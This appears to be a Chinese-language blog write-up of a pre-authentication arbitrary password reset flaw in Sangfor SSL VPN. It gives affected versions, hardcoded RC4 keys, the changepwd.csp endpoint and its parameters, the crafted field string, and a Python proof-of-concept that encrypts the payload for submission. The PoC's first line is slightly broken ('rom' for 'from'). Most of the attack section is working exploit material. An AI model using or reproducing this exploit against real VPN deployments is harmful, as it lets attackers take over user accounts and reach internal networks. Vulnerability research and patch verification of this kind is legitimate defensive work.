深信服_SSL_VPN_-_Pre_Auth_任意密码重置

# 深信服 SSL VPN – Pre Auth 任意密码重置

======================================

一、漏洞简介
————

二、漏洞影响
————

高版本(如M7.6.8R2) 直接删除相关函数

低版本(如M7.6.6R1) 升级版存在此漏洞

打了 5.x-7.x 补丁的无法利用

三、复现过程
————

### 漏洞分析

差不多的逻辑

![1.png](/static/qingy/深信服_SSL_VPN_-_Pre_Auth_任意密码重置/img/rId25.png)

唯独多了个 RC4 解密,key 是 20100720

![2.png](/static/qingy/深信服_SSL_VPN_-_Pre_Auth_任意密码重置/img/rId26.png)

在数据提取中写的有点奇怪,使用,和=作为分隔符,所以我们的数据也要类似如:

`,username=test,ip=127.0.0.1,grpid=1,pripsw=suiyi,newpsw=QQ123456,`

![3.png](/static/qingy/深信服_SSL_VPN_-_Pre_Auth_任意密码重置/img/rId27.png)

M7.6.6R1 key 为 `20181118`

M7.6.1 key 为 `20100720`

其他版本另寻

https://www.0-sec.org/por/changepwd.csp

sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR_LEN

![4.png](/static/qingy/深信服_SSL_VPN_-_Pre_Auth_任意密码重置/img/rId28.png)

### poc

> poc.py

rom Crypto.Cipher import ARC4
from binascii import a2b_hex

def myRC4(data,key):
rc41 = ARC4.new(key)
encrypted = rc41.encrypt(data)
return encrypted.encode(‘hex’)

def rc4_decrpt_hex(data,key):
rc41 = ARC4.new(key)
return rc41.decrypt(a2b_hex(data))
key = ‘20100720’
data = r’,username=2003010002,ip=127.0.0.1,grpid=1,pripsw=suiyi,newpsw=zxc123,’
a = myRC4(data, key)
print a
print len(a)

参考链接
——–

> https://blog.sari3l.com/

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容